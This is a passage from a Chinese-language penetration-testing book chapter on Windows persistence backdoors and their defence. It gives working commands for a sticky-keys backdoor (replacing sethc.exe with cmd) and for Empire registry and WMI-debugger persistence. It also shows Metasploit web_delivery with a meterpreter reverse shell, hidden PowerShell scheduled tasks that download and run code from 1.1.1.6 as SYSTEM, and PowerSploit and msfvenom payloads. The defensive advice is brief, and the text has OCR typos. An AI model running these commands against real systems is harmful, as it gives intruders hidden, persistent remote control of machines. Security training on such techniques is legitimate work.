目录
8.3.7 Hook PasswordChangeNotify
第8章权限维持分析及防御
后门是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。因此如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除。
8.1操作系统后门分析与防范
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户认证过程。
8.1.1粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。在Windors主机上连续按5次"Shit" 健,就可以调出粘滞键。Windws 的粘滞键主要是为无法同时按多个按键的用户设计的,例如,在使用组合健Curl+P时用户需要同时按下"Cur"和P两个键,如果使用粘滞键来实现组合键"Ctrl+P"的功能,就只需按一个键。
用可执行文件sethe.exe.bak替换windows\system32目录下的sethc.exe
cd windows\system32
move sethc.exe sethc.exe.bak
copy comd.exe sethc.exe #连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令
使用empire
(Empire: VTHWYU2M) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener sec
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName win7
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute
在目标系统上连续按5次shift键触发后门
针对粘滞键后门,可以采取如下防范措施。
- 在远程登录服务器时,连续按5次“"Shift” 键,判断服务器是否被人侵。
- 拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项。
8.1.2注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run中( 键名可以任意设置)。
在Empire下也可以实现这-功能。 输人"usemodule persistence/userland/registry"命令,模块运行后,会在目标主机的启动项里增加一个命令。
(Empire: Y9XHUM1V) > usemodule persistence/userland/registry
(Empire: powershell/persistence/userland/registry) > set Listener sec
(Empire: powershell/persistence/userland/registry) > set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
(Empire: powershell/persistence/userland/registry) > execute
当管理员登陆系统时,后门就会运行,反弹成功
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容,采取相应的措施,即可删除此类后门。
8.1.3计划任务后门
计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
常见的渗透测试平台中模拟计划任务后门进行安全测试的方法。
1.在Metaplont中模报计划任务后门
使用Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写人磁盘, 所以安全防护软件不会对该行为进行检测。
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.6
lhost => 1.1.1.6
msf6 exploit(multi/script/web_delivery) > set lport 443
lport => 443
msf6 exploit(multi/script/web_delivery) > set URIP
set URIPATH set URIPORT
msf6 exploit(multi/script/web_delivery) > set URIPATH /
URIPATH => /
msf6 exploit(multi/script/web_delivery) > exploit
在目标系统中输入生成的后门代码,生成新的会话
C:\Users\Administrator.US>schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
(1)用户登录
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
(2)系统启动
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onstart /ru System
(3)系统空闲
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onidle /i 1
2.在PowerSploit中模拟计划任务后门
生成persistence.ps1,是计划任务执行的payload
PS C:\Users\Administrator.US\Downloads> Import-Module .\Persistence.psm1
$ElevateOptions = New-ElevatedPersistenceOption -ScheduleTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
msfvenom -p windows/x64/meterpreter/reverse_https lhost=1.1.1.6 lport=443 -f psh-reflect